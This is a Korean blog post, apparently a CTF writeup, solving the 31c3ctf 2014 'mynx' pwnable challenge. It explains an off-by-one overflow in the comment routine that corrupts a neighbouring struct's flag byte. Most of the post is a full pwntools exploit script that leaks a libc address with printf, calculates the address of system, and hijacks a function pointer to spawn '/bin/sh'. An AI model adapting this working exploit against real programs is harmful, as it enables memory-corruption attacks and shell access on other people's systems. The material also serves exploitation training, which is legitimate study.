Pwnable/CTF
31c3ctf 2014 mynx
HSr00t
2017. 10. 9. 01:28
여태까지 문제들을 풀이를 너무 보면서 한것같아서 이번문제부터는 최대한 풀이를 안 보고 풀어야겠다.
시작메뉴는 이런식으로 acii_art 추가, 출력, 세부메뉴? 등이 있다.
취약점은 세부메뉴에서 comment 추가시키는 부분에 있는데 데이터부분을 252byte를 입력받는데 off by one 취약점이 생긴다.
1byte로 인해 다음 구조체에 플래그 부분을 조작할수있게된다.
아래 구조체 분석을 보면 함수 포인터가있는데 함수포인터는 select ascii_art 부분에 3번 메뉴로 있다.
1. or연산
2. LOLO 초기화
3. 소문자 초기화
기능은 이렇다.
그리고 문제에서 나오는 구조체는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | ascii art [0] = 0x48 [1] = index [5] = (&off_804A890 + 5 * input) == filter #function pointer() [9] = data comment [0] = 0x36 [1] = index [5] = data | cs |
누가봐도 구조체에 함수 포인터가 나오는거보니 함수 포인터를 조작하는 문제인것같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | from pwn import * p=process("./mynx") elf=ELF("./mynx") def add(filter_,ascii_art): p.recvuntil('> ') p.sendline("1") p.recvuntil('> ') p.sendline(str(filter_)) p.recv(1024) p.send(ascii_art) def browse(): p.recvuntil('> ') p.sendline("2") def select(id_): p.recvuntil('> ') p.sendline("3") p.recvuntil('> ') p.sendline(str(id_)) def add_com(comment): p.recvuntil('> ') p.sendline("1") p.recvuntil('> ') p.send(comment) def remove_com(): p.recvuntil('> ') p.sendline("2") def apply_com(): p.recvuntil('> ') p.sendline("3") def back(): p.recvuntil('> ') p.sendline("0") add(0,"A"*247) #1 add(1,"B"*247) #2 select(1) add_com("a"*251) back() add(1,"C"*247) #3 select(2) add_com("b"*251) back() select(3) add_com(p32(elf.plt['printf'])+"%11$p") back() select(1) remove_com() add_com("a"*251+"\x37") back() select(2) remove_com() add_com("b"*251+"\x49") back() select(3) apply_com() apply_com() libc_start_main = int(p.recv(10),16) - 247 libc_base = libc_start_main - 0x18540 system = libc_base + 0x3ada0 print hex(libc_start_main) print hex(libc_base) print hex(system) back() add(0,"D"*247) #4 add(1,"E"*247) #5 select(4) add_com("d"*251) back() add(1,"F"*247) #6 select(5) add_com("e"*251) back() select(6) add_com(p32(system)+"/bin/sh\00") back() select(4) remove_com() add_com("a"*251+"\x37") back() select(5) remove_com() add_com("b"*251+"\x49") back() select(6) apply_com() p.interactive() | cs |
취약점을 찾았는데 찾은지 모르고 삽질을 하는 바람에 푸는데 시간이 조금 오래걸린것같다.